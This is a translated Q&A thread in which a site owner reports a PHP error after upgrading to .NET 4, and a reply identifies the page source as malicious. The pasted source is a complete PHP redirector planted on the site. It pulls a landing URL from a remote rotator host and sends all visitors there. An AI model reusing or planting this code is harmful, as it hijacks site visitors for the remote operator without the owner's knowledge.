将站点升级到.NET 4 - 奇怪的PHP错误

时间:2015-07-02 11:47:39

标签: php asp.net iis-7 plesk

我想将我的网站从.NET 2升级到4。

  1. 修复了web.config以满足4个要求

  2. 将网站的IIS设置为.NET 4(通过Plesk)

  3. 将所有组件编译为4

  4. 现在网站的所有页面都在工作,但主页返回一个奇怪的PHP错误:“0,'url'=> $ default_url); if($ settings ['last']”

    *在全视图源下面

    任何人都知道什么似乎是问题以及如何解决它?

    非常感谢,

    阿萨弗。

    ############################################################################
    # Скрипт должен лежать в папке, прочмоденой на 777. это важно!. #
    # The script must be in the folder prochmodenoy at 777. this is important!.#
    ############################################################################
    $geturl='http://supermyadminspanels.info/rotator.php?hash=75a996ff2a8a6d666dca52a823e1cc84' # Урл экспорта актуального урла на лендинг
    $timeout=120; #Время обновления (в секундах)
    $default_url='http://www.google.com/robots.txt';
    if (!$geturl)
    exit();
    #Если есть файлик данных, читаем его, иначе сливается трафик на default_url в том случае, если обноиться с экспортного урла не получится.
    $tmp_settings = sys_get_temp_dir() . "/settings.json";
    $settings=file_exists($tmp_settings)?unserialize(file_get_contents($tmp_settings)):array('last'=>0, 'url'=>$default_url);
    if ($settings['last']<time()-$timeout)>
    {
    if ($settings['url']=file_get_contents($geturl))
    {
    $settings['last']=time();
    $fp=fopen($tmp_settings, 'w');
    flock($fp, LOCK_EX);
    fputs($fp, serialize($settings));
    flock($fp, LOCK_UN);
    fclose($fp);
    }
    }
    $url=$settings['url']?$settings['url']:$default_url;
    if(substr($url, 0, 4)!='http')
    $url="http://".$url."/";
    header("Location: $url");
    exit();
    ?>
    

1 个答案:

答案 0 :(得分:0)

此脚本的内容看起来像恶意代码,试图将访问者从您的网站重定向到其他网址。

认为您可以将其移至其他文件夹或名称,并向托管商或管理员寻求安全帮助。